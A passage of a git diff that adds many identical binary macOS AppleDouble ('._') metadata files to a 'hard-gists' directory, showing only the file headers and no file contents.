Binary files /dev/null and b/hard-gists/._dfca335e370a2bc3bc79876e6270099e differ
diff --git a/hard-gists/._dfd7eb0ce2915d004367 b/hard-gists/._dfd7eb0ce2915d004367
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._dfd7eb0ce2915d004367 differ
diff --git a/hard-gists/._dffb8de093502b153e85 b/hard-gists/._dffb8de093502b153e85
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._dffb8de093502b153e85 differ
diff --git a/hard-gists/._e0defc252f665b2b51e8 b/hard-gists/._e0defc252f665b2b51e8
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e0defc252f665b2b51e8 differ
diff --git a/hard-gists/._e11b546d6ba9ebc2b604 b/hard-gists/._e11b546d6ba9ebc2b604
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e11b546d6ba9ebc2b604 differ
diff --git a/hard-gists/._e196107b5e0afc834652bd3153030c42 b/hard-gists/._e196107b5e0afc834652bd3153030c42
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e196107b5e0afc834652bd3153030c42 differ
diff --git a/hard-gists/._e1b58ad5ff33c697ae83d83fdbab76e4 b/hard-gists/._e1b58ad5ff33c697ae83d83fdbab76e4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e1b58ad5ff33c697ae83d83fdbab76e4 differ
diff --git a/hard-gists/._e1e011652b297d13b3ac3f99fd11b2bc b/hard-gists/._e1e011652b297d13b3ac3f99fd11b2bc
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e1e011652b297d13b3ac3f99fd11b2bc differ
diff --git a/hard-gists/._e223622e255bd5b8c9130407397a0494 b/hard-gists/._e223622e255bd5b8c9130407397a0494
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e223622e255bd5b8c9130407397a0494 differ
diff --git a/hard-gists/._e28813c1e8721830ff9c b/hard-gists/._e28813c1e8721830ff9c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e28813c1e8721830ff9c differ
diff --git a/hard-gists/._e294562759ff2755486e b/hard-gists/._e294562759ff2755486e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e294562759ff2755486e differ
diff --git a/hard-gists/._e2af6270cc9563cca197 b/hard-gists/._e2af6270cc9563cca197
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e2af6270cc9563cca197 differ
diff --git a/hard-gists/._e2ef822c744357a4ed16ec0c885100a3 b/hard-gists/._e2ef822c744357a4ed16ec0c885100a3
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e2ef822c744357a4ed16ec0c885100a3 differ
diff --git a/hard-gists/._e3433ebba20c92b63111 b/hard-gists/._e3433ebba20c92b63111
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e3433ebba20c92b63111 differ
diff --git a/hard-gists/._e3556f0089e89970bf9b b/hard-gists/._e3556f0089e89970bf9b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e3556f0089e89970bf9b differ
diff --git a/hard-gists/._e37887e81cee51ab2dc70d16780ae942 b/hard-gists/._e37887e81cee51ab2dc70d16780ae942
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e37887e81cee51ab2dc70d16780ae942 differ
diff --git a/hard-gists/._e37a85fb0258b045c005ca3db9cbc7f6 b/hard-gists/._e37a85fb0258b045c005ca3db9cbc7f6
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e37a85fb0258b045c005ca3db9cbc7f6 differ
diff --git a/hard-gists/._e38e0588bf6d8f32e99d b/hard-gists/._e38e0588bf6d8f32e99d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e38e0588bf6d8f32e99d differ
diff --git a/hard-gists/._e3a91e46df24e0c24eb656c89373c20d b/hard-gists/._e3a91e46df24e0c24eb656c89373c20d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e3a91e46df24e0c24eb656c89373c20d differ
diff --git a/hard-gists/._e3b59913d71d82a03eda b/hard-gists/._e3b59913d71d82a03eda
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e3b59913d71d82a03eda differ
diff --git a/hard-gists/._e41abdd59c5308eacf84 b/hard-gists/._e41abdd59c5308eacf84
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e41abdd59c5308eacf84 differ
diff --git a/hard-gists/._e4907ccc9f6c1bb49b17 b/hard-gists/._e4907ccc9f6c1bb49b17
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e4907ccc9f6c1bb49b17 differ
diff --git a/hard-gists/._e522b44a1dc7d3a388d4386d416747f5 b/hard-gists/._e522b44a1dc7d3a388d4386d416747f5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e522b44a1dc7d3a388d4386d416747f5 differ
diff --git a/hard-gists/._e530dc9767d8f83c08f3582c71a5cbc8 b/hard-gists/._e530dc9767d8f83c08f3582c71a5cbc8
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e530dc9767d8f83c08f3582c71a5cbc8 differ
diff --git a/hard-gists/._e53a70f9e5c3f55852b0 b/hard-gists/._e53a70f9e5c3f55852b0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e53a70f9e5c3f55852b0 differ
diff --git a/hard-gists/._e542b181be28d168ba177c9b8e3787b6 b/hard-gists/._e542b181be28d168ba177c9b8e3787b6
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e542b181be28d168ba177c9b8e3787b6 differ
diff --git a/hard-gists/._e5fe0a832872c2b1cebe473c7cf6fb07 b/hard-gists/._e5fe0a832872c2b1cebe473c7cf6fb07
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e5fe0a832872c2b1cebe473c7cf6fb07 differ
diff --git a/hard-gists/._e61631ea83c958befa5db92f8bde527d b/hard-gists/._e61631ea83c958befa5db92f8bde527d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e61631ea83c958befa5db92f8bde527d differ
diff --git a/hard-gists/._e625e7ba482efdb670501cf401a2b6e9 b/hard-gists/._e625e7ba482efdb670501cf401a2b6e9
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e625e7ba482efdb670501cf401a2b6e9 differ
diff --git a/hard-gists/._e68c2bcb3d0893eafc0025d1104a8c4a b/hard-gists/._e68c2bcb3d0893eafc0025d1104a8c4a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e68c2bcb3d0893eafc0025d1104a8c4a differ
diff --git a/hard-gists/._e6d0864738da10cb9685 b/hard-gists/._e6d0864738da10cb9685
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e6d0864738da10cb9685 differ
diff --git a/hard-gists/._e6e53cbe679d3ec77e25 b/hard-gists/._e6e53cbe679d3ec77e25
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e6e53cbe679d3ec77e25 differ
diff --git a/hard-gists/._e76e7c2a2aff228d7807 b/hard-gists/._e76e7c2a2aff228d7807
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e76e7c2a2aff228d7807 differ
diff --git a/hard-gists/._e7b0bc65927b7987b7d4 b/hard-gists/._e7b0bc65927b7987b7d4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e7b0bc65927b7987b7d4 differ
diff --git a/hard-gists/._e82c16e0401a77dec92a b/hard-gists/._e82c16e0401a77dec92a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e82c16e0401a77dec92a differ
diff --git a/hard-gists/._e93532d5e7ddf0ec56c336499165c4dc b/hard-gists/._e93532d5e7ddf0ec56c336499165c4dc
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e93532d5e7ddf0ec56c336499165c4dc differ
diff --git a/hard-gists/._e9421f06ea3a62bfbb8c b/hard-gists/._e9421f06ea3a62bfbb8c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e9421f06ea3a62bfbb8c differ
diff --git a/hard-gists/._e9625de0711f29cd0a4b57502648dd86 b/hard-gists/._e9625de0711f29cd0a4b57502648dd86
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e9625de0711f29cd0a4b57502648dd86 differ
diff --git a/hard-gists/._e972345a37686b9b1362 b/hard-gists/._e972345a37686b9b1362
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e972345a37686b9b1362 differ
diff --git a/hard-gists/._e97d518fe02a79177b081c028a83ec1c b/hard-gists/._e97d518fe02a79177b081c028a83ec1c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e97d518fe02a79177b081c028a83ec1c differ
diff --git a/hard-gists/._e9851bc47dcf1ba7ee15 b/hard-gists/._e9851bc47dcf1ba7ee15
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e9851bc47dcf1ba7ee15 differ
diff --git a/hard-gists/._e99c114a5b33cd2da538 b/hard-gists/._e99c114a5b33cd2da538
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e99c114a5b33cd2da538 differ
diff --git a/hard-gists/._e9fb36ca2220a167b7ed b/hard-gists/._e9fb36ca2220a167b7ed
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e9fb36ca2220a167b7ed differ
diff --git a/hard-gists/._e9ff0ac61fcb3b1b60ba b/hard-gists/._e9ff0ac61fcb3b1b60ba
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._e9ff0ac61fcb3b1b60ba differ
diff --git a/hard-gists/._ea1b1bae0a75c4aae593df7eca72d9ca b/hard-gists/._ea1b1bae0a75c4aae593df7eca72d9ca
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ea1b1bae0a75c4aae593df7eca72d9ca differ
diff --git a/hard-gists/._ea3bb160dbc2e650b4474a84248d0d1a b/hard-gists/._ea3bb160dbc2e650b4474a84248d0d1a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ea3bb160dbc2e650b4474a84248d0d1a differ
diff --git a/hard-gists/._ea46edc315b0f94d03b9 b/hard-gists/._ea46edc315b0f94d03b9
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ea46edc315b0f94d03b9 differ
diff --git a/hard-gists/._ea6a808c1e1c382ec567 b/hard-gists/._ea6a808c1e1c382ec567
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ea6a808c1e1c382ec567 differ
diff --git a/hard-gists/._ea8b0a48983b9f7a8d01cbc0651e43d1 b/hard-gists/._ea8b0a48983b9f7a8d01cbc0651e43d1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ea8b0a48983b9f7a8d01cbc0651e43d1 differ
diff --git a/hard-gists/._ead9898bd3c973c40429 b/hard-gists/._ead9898bd3c973c40429
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ead9898bd3c973c40429 differ
diff --git a/hard-gists/._eb302ad37fe170386893 b/hard-gists/._eb302ad37fe170386893
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._eb302ad37fe170386893 differ
diff --git a/hard-gists/._eb6dc49c861a1c21b612b568dd188668 b/hard-gists/._eb6dc49c861a1c21b612b568dd188668
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._eb6dc49c861a1c21b612b568dd188668 differ
diff --git a/hard-gists/._eba2bf1a0ecd3e541146e98f35d49739 b/hard-gists/._eba2bf1a0ecd3e541146e98f35d49739
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._eba2bf1a0ecd3e541146e98f35d49739 differ
diff --git a/hard-gists/._ebb282c3b73c41c1404123de6cea4771 b/hard-gists/._ebb282c3b73c41c1404123de6cea4771
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ebb282c3b73c41c1404123de6cea4771 differ
diff --git a/hard-gists/._ec0dbce5688e6fcd2cb91ac1fb7d03ca b/hard-gists/._ec0dbce5688e6fcd2cb91ac1fb7d03ca
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ec0dbce5688e6fcd2cb91ac1fb7d03ca differ
diff --git a/hard-gists/._ec169727def8eb09b44fff84f93f1496 b/hard-gists/._ec169727def8eb09b44fff84f93f1496
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ec169727def8eb09b44fff84f93f1496 differ
diff --git a/hard-gists/._ec3adc02d927375f13d0 b/hard-gists/._ec3adc02d927375f13d0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ec3adc02d927375f13d0 differ
diff --git a/hard-gists/._ec5c8bed17396e8e55cf3305dbb88f56 b/hard-gists/._ec5c8bed17396e8e55cf3305dbb88f56
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ec5c8bed17396e8e55cf3305dbb88f56 differ
diff --git a/hard-gists/._ec88cbdce3cdbac7b8d5 b/hard-gists/._ec88cbdce3cdbac7b8d5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ec88cbdce3cdbac7b8d5 differ
diff --git a/hard-gists/._ec8ddab12364323c97d4e36459174f0d b/hard-gists/._ec8ddab12364323c97d4e36459174f0d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ec8ddab12364323c97d4e36459174f0d differ
diff --git a/hard-gists/._ec8f1689bfde3ce9a920 b/hard-gists/._ec8f1689bfde3ce9a920
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ec8f1689bfde3ce9a920 differ
diff --git a/hard-gists/._ec9c9074373d2443594a b/hard-gists/._ec9c9074373d2443594a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ec9c9074373d2443594a differ
diff --git a/hard-gists/._eca49daaae6d4566383b39908bfc3fd0 b/hard-gists/._eca49daaae6d4566383b39908bfc3fd0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._eca49daaae6d4566383b39908bfc3fd0 differ
diff --git a/hard-gists/._ed9631f151710c6bd898499fcf938425 b/hard-gists/._ed9631f151710c6bd898499fcf938425
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ed9631f151710c6bd898499fcf938425 differ
diff --git a/hard-gists/._ed991fb8cdcac3dfadf7 b/hard-gists/._ed991fb8cdcac3dfadf7
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ed991fb8cdcac3dfadf7 differ
diff --git a/hard-gists/._ede1aec7b3801eb08bc0 b/hard-gists/._ede1aec7b3801eb08bc0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ede1aec7b3801eb08bc0 differ
diff --git a/hard-gists/._ede5b6b793f02bd966a6a7502c0a7fbf b/hard-gists/._ede5b6b793f02bd966a6a7502c0a7fbf
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ede5b6b793f02bd966a6a7502c0a7fbf differ
diff --git a/hard-gists/._ee05163d448353af4c260c544db4d6b2 b/hard-gists/._ee05163d448353af4c260c544db4d6b2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ee05163d448353af4c260c544db4d6b2 differ
diff --git a/hard-gists/._ee837b44613ce93064aa b/hard-gists/._ee837b44613ce93064aa
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ee837b44613ce93064aa differ
diff --git a/hard-gists/._ee8c85ff0462ec6105b2 b/hard-gists/._ee8c85ff0462ec6105b2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ee8c85ff0462ec6105b2 differ
diff --git a/hard-gists/._ee8edb61a4aba40ce2fc653e12cd5e69 b/hard-gists/._ee8edb61a4aba40ce2fc653e12cd5e69
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ee8edb61a4aba40ce2fc653e12cd5e69 differ
diff --git a/hard-gists/._ee9151b0ad985ca348cd b/hard-gists/._ee9151b0ad985ca348cd
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ee9151b0ad985ca348cd differ
diff --git a/hard-gists/._eea5bb9ea6a73a398c44 b/hard-gists/._eea5bb9ea6a73a398c44
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._eea5bb9ea6a73a398c44 differ
diff --git a/hard-gists/._eeb156dc7b4caca69f5b31037da54708 b/hard-gists/._eeb156dc7b4caca69f5b31037da54708
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._eeb156dc7b4caca69f5b31037da54708 differ
diff --git a/hard-gists/._eebc4d569100c8e3039bf3eae56bee4c b/hard-gists/._eebc4d569100c8e3039bf3eae56bee4c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._eebc4d569100c8e3039bf3eae56bee4c differ
diff --git a/hard-gists/._eeea2093888e8d4004ec06b5a1dede1e b/hard-gists/._eeea2093888e8d4004ec06b5a1dede1e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._eeea2093888e8d4004ec06b5a1dede1e differ
diff --git a/hard-gists/._eef8c9bfb4434787672c303153eee500 b/hard-gists/._eef8c9bfb4434787672c303153eee500
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._eef8c9bfb4434787672c303153eee500 differ
diff --git a/hard-gists/._eeff174666cce8ca67ae73d44d93054a b/hard-gists/._eeff174666cce8ca67ae73d44d93054a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._eeff174666cce8ca67ae73d44d93054a differ
diff --git a/hard-gists/._ef26915065225df65c1187562eca7ec4 b/hard-gists/._ef26915065225df65c1187562eca7ec4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ef26915065225df65c1187562eca7ec4 differ
diff --git a/hard-gists/._ef407a599f0f549f62d91c3a00dcfb6c b/hard-gists/._ef407a599f0f549f62d91c3a00dcfb6c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ef407a599f0f549f62d91c3a00dcfb6c differ
diff --git a/hard-gists/._ef4fc7fb905be7191cc2beb1421da37c b/hard-gists/._ef4fc7fb905be7191cc2beb1421da37c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ef4fc7fb905be7191cc2beb1421da37c differ
diff --git a/hard-gists/._ef6caa586b647c3c032a4f84d52e3a11 b/hard-gists/._ef6caa586b647c3c032a4f84d52e3a11
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ef6caa586b647c3c032a4f84d52e3a11 differ
diff --git a/hard-gists/._ef7ed11b0abab37c94ad b/hard-gists/._ef7ed11b0abab37c94ad
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ef7ed11b0abab37c94ad differ
diff --git a/hard-gists/._ef9e5c352e54769c4d43 b/hard-gists/._ef9e5c352e54769c4d43
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ef9e5c352e54769c4d43 differ
diff --git a/hard-gists/._efabc30c4b2c9afd8a83 b/hard-gists/._efabc30c4b2c9afd8a83
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._efabc30c4b2c9afd8a83 differ
diff --git a/hard-gists/._efbe081b2bde5662cc1e76db0e12289e b/hard-gists/._efbe081b2bde5662cc1e76db0e12289e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._efbe081b2bde5662cc1e76db0e12289e differ
diff --git a/hard-gists/._efce2e1a817a01441f08 b/hard-gists/._efce2e1a817a01441f08
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._efce2e1a817a01441f08 differ
diff --git a/hard-gists/._efe482bad12c2fae6afe b/hard-gists/._efe482bad12c2fae6afe
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._efe482bad12c2fae6afe differ
diff --git a/hard-gists/._f07d827a4818fda0db81 b/hard-gists/._f07d827a4818fda0db81
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f07d827a4818fda0db81 differ
diff --git a/hard-gists/._f0bc519824e46815939b240c4f6a7553 b/hard-gists/._f0bc519824e46815939b240c4f6a7553
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f0bc519824e46815939b240c4f6a7553 differ
diff --git a/hard-gists/._f112560fd04ce43c53d4 b/hard-gists/._f112560fd04ce43c53d4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f112560fd04ce43c53d4 differ
diff --git a/hard-gists/._f11258583ffcc4728eb71adc0f38e832 b/hard-gists/._f11258583ffcc4728eb71adc0f38e832
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f11258583ffcc4728eb71adc0f38e832 differ
diff --git a/hard-gists/._f150b59dd68500099a56184dc25f1300 b/hard-gists/._f150b59dd68500099a56184dc25f1300
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f150b59dd68500099a56184dc25f1300 differ
diff --git a/hard-gists/._f15921b2257af1db953f b/hard-gists/._f15921b2257af1db953f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f15921b2257af1db953f differ
diff --git a/hard-gists/._f17910ef74687b3a062bd403f79e340a b/hard-gists/._f17910ef74687b3a062bd403f79e340a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f17910ef74687b3a062bd403f79e340a differ
diff --git a/hard-gists/._f18b7b54830270b01b99ba5e78024a39 b/hard-gists/._f18b7b54830270b01b99ba5e78024a39
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f18b7b54830270b01b99ba5e78024a39 differ
diff --git a/hard-gists/._f1a6bd3c8585c400c190 b/hard-gists/._f1a6bd3c8585c400c190
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f1a6bd3c8585c400c190 differ
diff --git a/hard-gists/._f1c94490e636a4ed54b4 b/hard-gists/._f1c94490e636a4ed54b4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f1c94490e636a4ed54b4 differ
diff --git a/hard-gists/._f1eca6cb0061cde701c2 b/hard-gists/._f1eca6cb0061cde701c2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f1eca6cb0061cde701c2 differ
diff --git a/hard-gists/._f234879ceb3a31e8ec54c601844ed706 b/hard-gists/._f234879ceb3a31e8ec54c601844ed706
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f234879ceb3a31e8ec54c601844ed706 differ
diff --git a/hard-gists/._f2608cbe54403edb0b13 b/hard-gists/._f2608cbe54403edb0b13
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f2608cbe54403edb0b13 differ
diff --git a/hard-gists/._f27efd1ddcbf57be0d14031a5e692015 b/hard-gists/._f27efd1ddcbf57be0d14031a5e692015
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f27efd1ddcbf57be0d14031a5e692015 differ
diff --git a/hard-gists/._f28b7a2d3356a0ed39823aaea66b50d0 b/hard-gists/._f28b7a2d3356a0ed39823aaea66b50d0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f28b7a2d3356a0ed39823aaea66b50d0 differ
diff --git a/hard-gists/._f2bb0cc876828b54f2ed b/hard-gists/._f2bb0cc876828b54f2ed
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f2bb0cc876828b54f2ed differ
diff --git a/hard-gists/._f3190ebba6c53887d598d03119ca2066 b/hard-gists/._f3190ebba6c53887d598d03119ca2066
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f3190ebba6c53887d598d03119ca2066 differ
diff --git a/hard-gists/._f3538c32965575e59bcd b/hard-gists/._f3538c32965575e59bcd
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f3538c32965575e59bcd differ
diff --git a/hard-gists/._f35fbc80e066a49d65f1688a7e99f069 b/hard-gists/._f35fbc80e066a49d65f1688a7e99f069
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f35fbc80e066a49d65f1688a7e99f069 differ
diff --git a/hard-gists/._f390aabf53cf1406fc71166a47236ebf b/hard-gists/._f390aabf53cf1406fc71166a47236ebf
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f390aabf53cf1406fc71166a47236ebf differ
diff --git a/hard-gists/._f3ce814ee66c965638fe b/hard-gists/._f3ce814ee66c965638fe
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f3ce814ee66c965638fe differ
diff --git a/hard-gists/._f3f67424adda343fef40 b/hard-gists/._f3f67424adda343fef40
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f3f67424adda343fef40 differ
diff --git a/hard-gists/._f3fc4537fac67a0f2df2 b/hard-gists/._f3fc4537fac67a0f2df2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f3fc4537fac67a0f2df2 differ
diff --git a/hard-gists/._f435aa0ccd498b0840d2407d599bf31d b/hard-gists/._f435aa0ccd498b0840d2407d599bf31d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f435aa0ccd498b0840d2407d599bf31d differ
diff --git a/hard-gists/._f45de3bbabbcacd3ca29 b/hard-gists/._f45de3bbabbcacd3ca29
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f45de3bbabbcacd3ca29 differ
diff --git a/hard-gists/._f4b6f5c8f6c2a51c3f60 b/hard-gists/._f4b6f5c8f6c2a51c3f60
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f4b6f5c8f6c2a51c3f60 differ
diff --git a/hard-gists/._f4cc99efc90c487b6fed b/hard-gists/._f4cc99efc90c487b6fed
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f4cc99efc90c487b6fed differ
diff --git a/hard-gists/._f51df716906be1d8f7337ffa183d32f4 b/hard-gists/._f51df716906be1d8f7337ffa183d32f4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f51df716906be1d8f7337ffa183d32f4 differ
diff --git a/hard-gists/._f53bb3e40edbceb38904 b/hard-gists/._f53bb3e40edbceb38904
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f53bb3e40edbceb38904 differ
diff --git a/hard-gists/._f551b2b6fd4d6b6e1ef2 b/hard-gists/._f551b2b6fd4d6b6e1ef2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f551b2b6fd4d6b6e1ef2 differ
diff --git a/hard-gists/._f55c4ce19598b2b345ef b/hard-gists/._f55c4ce19598b2b345ef
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f55c4ce19598b2b345ef differ
diff --git a/hard-gists/._f5b0d13b0bb3e4ac0572 b/hard-gists/._f5b0d13b0bb3e4ac0572
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f5b0d13b0bb3e4ac0572 differ
diff --git a/hard-gists/._f5e40e52de480e53a243fa15af536a8e b/hard-gists/._f5e40e52de480e53a243fa15af536a8e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f5e40e52de480e53a243fa15af536a8e differ
diff --git a/hard-gists/._f66cb485a3f3353402a5 b/hard-gists/._f66cb485a3f3353402a5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f66cb485a3f3353402a5 differ
diff --git a/hard-gists/._f676b9bd2e6930dda95c b/hard-gists/._f676b9bd2e6930dda95c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f676b9bd2e6930dda95c differ
diff --git a/hard-gists/._f6923957293620d6814052e0ccdf0ddf b/hard-gists/._f6923957293620d6814052e0ccdf0ddf
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f6923957293620d6814052e0ccdf0ddf differ
diff --git a/hard-gists/._f6df442d0250f265409c b/hard-gists/._f6df442d0250f265409c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f6df442d0250f265409c differ
diff --git a/hard-gists/._f6effc4468cca6f4e8f0 b/hard-gists/._f6effc4468cca6f4e8f0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f6effc4468cca6f4e8f0 differ
diff --git a/hard-gists/._f788cfd227cb94d0843235a2542026fd b/hard-gists/._f788cfd227cb94d0843235a2542026fd
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._f788cfd227cb94d0843235a2542026fd differ
diff --git a/hard-gists/._f7d8b6cb045cbb65ab80 b/hard-gists/._f7d8b6cb045cbb65ab80
new file mode 100644
index 00000000..cd8af967
